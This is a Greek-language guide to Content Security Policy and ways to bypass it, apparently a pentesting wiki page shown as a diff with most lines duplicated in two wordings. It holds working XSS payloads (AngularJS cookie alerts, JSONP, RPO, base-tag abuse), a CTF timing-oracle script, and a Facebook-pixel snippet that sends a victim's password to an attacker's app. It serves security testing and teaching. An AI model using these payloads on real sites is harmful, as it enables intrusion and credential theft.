Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σκριπτογράφηση (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των ενσωματωμένων πόρων και της εκτέλεσης κώδικα συμβολοσειράς μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανονισμούς και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **μεταστοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανονισμούς και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
* Implemented via response header:
```
@ -67,9 +67,9 @@ object-src 'none';
```
### Directives
* **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων URLs, inline scripts, και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
* **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
* **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες ανάκτησης.
* **child-src**: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
* **child-src**: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενα ενσωματωμένων πλαισίων.
* **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Περιορίζει τα URLs για πλαίσια.
* **frame-ancestors**: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν τη τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
@ -80,11 +80,11 @@ object-src 'none';
* **object-src**: Ορίζει επιτρεπόμενες πηγές για στοιχεία `<object>`, `<embed>`, και `<applet>`.
* **base-uri**: Προσδιορίζει επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας στοιχεία `<base>`.
* **form-action**: Λίστα έγκυρων endpoints για υποβολές φορμών.
* **plugin-types**: Περιορίζει τους τύπους mime που μπορεί να καλέσει μια σελίδα.
* **plugin-types**: Περιορίζει τους mime τύπους που μπορεί να καλέσει μια σελίδα.
* **upgrade-insecure-requests**: Δίνει οδηγίες στους περιηγητές να ξαναγράψουν τα HTTP URLs σε HTTPS.
* **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με την ιδιότητα sandbox ενός `<iframe>`.
* **report-to**: Προσδιορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
* **worker-src**: Προσδιορίζει έγκυρες πηγές για scripts Worker, SharedWorker, ή ServiceWorker.
* **worker-src**: Προσδιορίζει έγκυρες πηγές για Worker, SharedWorker ή ServiceWorker scripts.
* **prefetch-src**: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προανακτηθούν.
* **navigate-to**: Περιορίζει τα URLs στα οποία μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)
@ -115,8 +115,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
</details>
* `'sha256-<hash>'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
* `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκανθεί με nonce ή hash.
* `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
* `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή εάν έχει λευκαστεί με nonce ή hash.
* `'host'`: Καθορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
* `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
* `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
* `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
@ -153,7 +153,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
Αν μπορείτε με κάποιον τρόπο να κάνετε ένα **επιτρεπόμενο JS code να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κωδικό σας, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
Αν μπορείτε με κάποιον τρόπο να κάνετε ένα **επιτρεπόμενο JS code να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κωδικό σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
### Wildcard (\*)
```yaml
@ -167,7 +167,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
### Έλλειψη object-src και default-src
{% hint style="danger" %}
**Φαίνεται ότι αυτό δεν λειτουργεί πια**
**Φαίνεται ότι αυτό δεν λειτουργεί πλέον**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
@ -190,7 +190,7 @@ Working payload:
```
Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι μια εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι μια εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
@ -263,7 +263,7 @@ Angular XSS από ένα όνομα κλάσης:
```
#### Κατάχρηση του κώδικα JS του google recaptcha
Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:
Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:
```html
<div
ng-controller="CarouselController as c"
@ -274,7 +274,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Περισσότερα [**payloads από αυτήν την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Περισσότερα [**payloads από αυτή την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -297,7 +297,7 @@ https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com
Είναι δυνατόν να εκμεταλλευτείτε το Google Apps Script για να λάβετε πληροφορίες σε μια σελίδα μέσα στο script.google.com. Όπως [γίνεται σε αυτή την αναφορά](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Είναι δυνατόν να καταχραστεί το Google Apps Script για να λάβει πληροφορίες σε μια σελίδα μέσα στο script.google.com. Όπως [γίνεται σε αυτή την αναφορά](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Third Party Endpoints + JSONP
```http
@ -322,15 +322,15 @@ https://www.youtube.com/oembed?callback=alert;
Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:
| Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες |
| ----------------- | --------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| ----------------- | ---------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα.
@ -349,7 +349,7 @@ Content-Security-Policy: connect-src www.facebook.com;
3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "ιστότοπό σας".
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
```JavaScript
@ -358,21 +358,21 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Όσον αφορά τα άλλα επτά τρίτα μέρη τομέων που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες τρίτες καταχρήσεις.
Όσον αφορά τα άλλα επτά τρίτα μέρη τομέων που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Εκτός από την προαναφερθείσα ανακατεύθυνση για την παράκαμψη περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) που μπορεί να χρησιμοποιηθεί σε ορισμένους διακομιστές.
Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή `https://example.com/scripts/react/`, μπορεί να παρακαμφθεί ως εξής:
Για παράδειγμα, εάν το CSP επιτρέπει τη διαδρομή `https://example.com/scripts/react/`, μπορεί να παρακαμφθεί ως εξής:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Ο περιηγητής θα φορτώσει τελικά το `https://example.com/scripts/angular/angular.js`.
Ο περιηγητής θα φορτώσει τελικά `https://example.com/scripts/angular/angular.js`.
Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο είναι συμβατό με CSP.
Έτσι, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά το `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με το `https://example.com/scripts/angular/angular.js`.
Έτσι, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με `https://example.com/scripts/angular/angular.js`.
Με **την εκμετάλλευση αυτής της ασυνέπειας στην ερμηνεία URL μεταξύ του περιηγητή και του διακομιστή, οι κανόνες διαδρομής μπορούν να παρακαμφθούν**.
@ -388,7 +388,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
### απουσία **base-uri**
Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Εάν η οδηγία **base-uri** λείπει μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Επιπλέον, εάν η **σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή** (όπως `<script src="/js/app.js">`) χρησιμοποιώντας ένα **Nonce**, μπορείτε να εκμεταλλευτείτε την **ετικέτα base** για να κάνετε **να φορτώσει** το σενάριο από **τον δικό σας διακομιστή επιτυγχάνοντας XSS.**\
Εάν η ευάλωτη σελίδα φορτώνεται με **httpS**, χρησιμοποιήστε μια διεύθυνση httpS στη βάση.
@ -397,9 +397,9 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
```
### AngularJS events
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, το οποίο αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί η CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, το οποίο περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία:
Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα εξηγεί αυτή τη διαδικασία:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -408,7 +408,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
**Βρείτε άλλες παρακάμψεις Angular στο** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS και εγκεκριμένος τομέας
### AngularJS και εγκεκριμένο τομέα
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
@ -446,13 +446,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
</body>
</html>
```
Αν το CSP έχει οριστεί σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από την πλευρά του διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι είναι μια ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει ανοιχτές ευπάθειες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει καμία ευπάθεια ανοιχτής ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
### Παράκαμψη CSP με κρεμασμένο markup
@ -486,7 +486,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### Chrome
Αν μια **παράμετρος** που στέλνετε **επικολληθεί μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιονδήποτε από αυτούς τους παρακάμψεις:
Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιονδήποτε από αυτούς τους παρακάμψεις:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -504,7 +504,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Παρατηρήστε την έλλειψη της οδηγίας `'unsafe-inline'`\
Αυτή τη φορά μπορείτε να κάνετε το θύμα να **φορτώσει** μια σελίδα υπό **τον έλεγχό** σας μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα από όπου θέλετε να εξάγετε πληροφορίες (**CSRF**). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείτε να **ελέγξετε τον χρόνο που χρειάζεται η σελίδα για να φορτώσει** μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.
Αυτή τη φορά μια **σημαία** θα εξαχθεί, όποτε μια **χαρακτήρας μαντεύεται σωστά** μέσω SQLi η **απάντηση** χρειάζεται **περισσότερο χρόνο** λόγω της λειτουργίας ύπνου. Στη συνέχεια, θα είστε σε θέση να εξάγετε τη σημαία:
Αυτή τη φορά μια **σημαία** θα εξαχθεί, όποτε μια **χαρακτήρας μαντεύεται σωστά** μέσω SQLi η **απάντηση** χρειάζεται **περισσότερο χρόνο** λόγω της λειτουργίας ύπνου. Στη συνέχεια, θα μπορείτε να εξάγετε τη σημαία:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -566,7 +566,7 @@ run();
```
### Via Bookmarklets
Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και αποτίθεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
@ -582,7 +582,7 @@ run();
```
{% endcode %}
Στο [**αυτό το writeup CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιήθηκε και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
Στο [**αυτό το writeup CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιηθεί και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **είσοδο** που επιτρέπει το **nonce** τους και **ενεργοποιώντας συγκεκριμένο inline script μέσω sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
@ -603,7 +603,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
### Leaking Information with CSP and Iframe
* Ένα `iframe` δημιουργείται που δείχνει σε μια διεύθυνση URL (ας την ονομάσουμε `https://example.redirect.com`) η οποία επιτρέπεται από το CSP.
* Αυτή η διεύθυνση URL στη συνέχεια ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP.
* Αυτή η διεύθυνση URL ανακατευθύνει στη μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP.
* Ακούγοντας το γεγονός `securitypolicyviolation`, μπορεί κανείς να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.
Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.
@ -612,13 +612,13 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
